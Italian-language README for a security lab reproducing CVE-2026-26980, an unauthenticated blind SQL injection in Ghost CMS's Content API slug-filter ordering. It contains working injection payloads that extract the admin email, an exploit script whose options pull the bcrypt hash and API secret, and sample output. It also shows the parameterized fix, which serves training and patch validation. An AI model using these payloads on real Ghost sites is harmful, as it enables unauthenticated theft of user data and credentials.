
CVE-2026-26980 — Lab di SQL Injection nell'API dei Contenuti di Ghost CMS (blind SQLi non autenticato tramite ordinamento del filtro slug)
SQL injection blind non autenticata in Ghost CMS tramite il meccanismo di ordinamento del filtro slug della Content API, che consente letture arbitrarie del database da qualsiasi istanza Ghost senza credenziali.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critico) |
| CWE | CWE-89 (SQL Injection) |
| Versioni vulnerabili | Ghost 3.24.0 -- 6.19.0 |
| Versione corretta | Ghost 6.19.1 |
| Autenticazione richiesta | Nessuna (la chiave della Content API è pubblica per design) |
| Crediti/Riferimenti | Nicholas Carlini con Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Disclaimer -- Questo lab è destinato esclusivamente a test di sicurezza autorizzati, formazione e ricerca difensiva. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
La Content API di Ghost supporta il filtraggio di tag e post per slug utilizzando la notazione ad array: filter=slug:[tag-a,tag-b]. Internamente, una funzione helper costruisce un'istruzione ORDER BY CASE per preservare l'ordine degli slug richiesto. Prima della v6.19.1, i valori slug forniti dall'utente venivano interpolati direttamente in questa SQL senza parametrizzazione:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABILE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
La chiave della Content API è incorporata nell'HTML di ogni sito Ghost (data-key="..."), rendendo questa una superficie d'attacco completamente non autenticata.
Il linguaggio di query NQL di Ghost valida l'input del filtro e rifiuta apici singoli o spazi non elaborati. Tuttavia, NQL accetta valori racchiusi tra apici singoli all'interno della notazione ad array (slug:['value']), passando gli apici come parte del letterale. La regex slugFilterOrder estrae questi valori e li interpola — apici inclusi — nella SQL:
Filtro: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passa gli apici come caratteri letterali
Dopo l'interpolazione, l'ORDER BY diventa:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Nella modalità SQL predefinita di MySQL, || è OR e '' è falso. Questo ci fornisce un oracolo booleano pulito:
| Condizione | Risultato CASE | Effetto |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Risposta normale (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | Errore di overflow DOUBLE (HTTP 500) |
Con l'oracolo stabilito, si applica la standard estrazione blind tramite ricerca binaria:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
La sintassi SUBSTR(... FROM pos FOR len) evita le virgole (che slugFilterOrder usa come separatori).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





La correzione sostituisce l'interpolazione di stringhe con binding parametrizzati:
// CORRETTO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Il plugin crud.js è stato aggiornato per far passare i binding attraverso orderByRaw, e @tryghost/bookshelf-plugins è stato portato alla 0.6.29 che aggiunge il supporto ai binding.
requests# Clona ed entra nel lab
git clone <questo-repo> && cd ghost-cve-2026-26980
# Installa la dipendenza Python
pip install -r requirements.txt
# Avvia l'istanza Ghost vulnerabile (6.18.0 + MySQL 8)
docker compose up -d
# Attendi ~45 secondi per l'inizializzazione di Ghost, poi esegui l'exploit
python3 exploit.py --url http://localhost:2368
# Avvia anche il Ghost 6.19.1 corretto sulla porta 2369
docker compose --profile fixed up -d
# Attendi ~45 secondi, poi conferma che la correzione blocca l'iniezione
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL di Ghost (predefinito: http://localhost:2368)
--validate-fix Conferma che il target NON è vulnerabile
--extract-password Estrae anche l'hash bcrypt dell'admin
--extract-api-key Estrae anche il segreto API dell'admin
--content-key KEY Salta la configurazione, usa direttamente questa chiave della Content API
-v, --verbose Mostra i risultati dell'oracolo per ogni query
====================================================
CVE-2026-26980 — SQL Injection nella Content API di Ghost CMS
====================================================
[*] Attesa che Ghost sia pronto su http://localhost:2368
[*] Configurazione di Ghost (admin: [email protected])
[+] Configurazione completata — creazione sessione
[+] Accesso effettuato
[+] Chiave della Content API: ad63c06a71457583ea58f050c1
[+] Slug di ancoraggio: news
[*] Fase 1 — verifica blind booleana
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Oracolo booleano confermato — VULNERABILE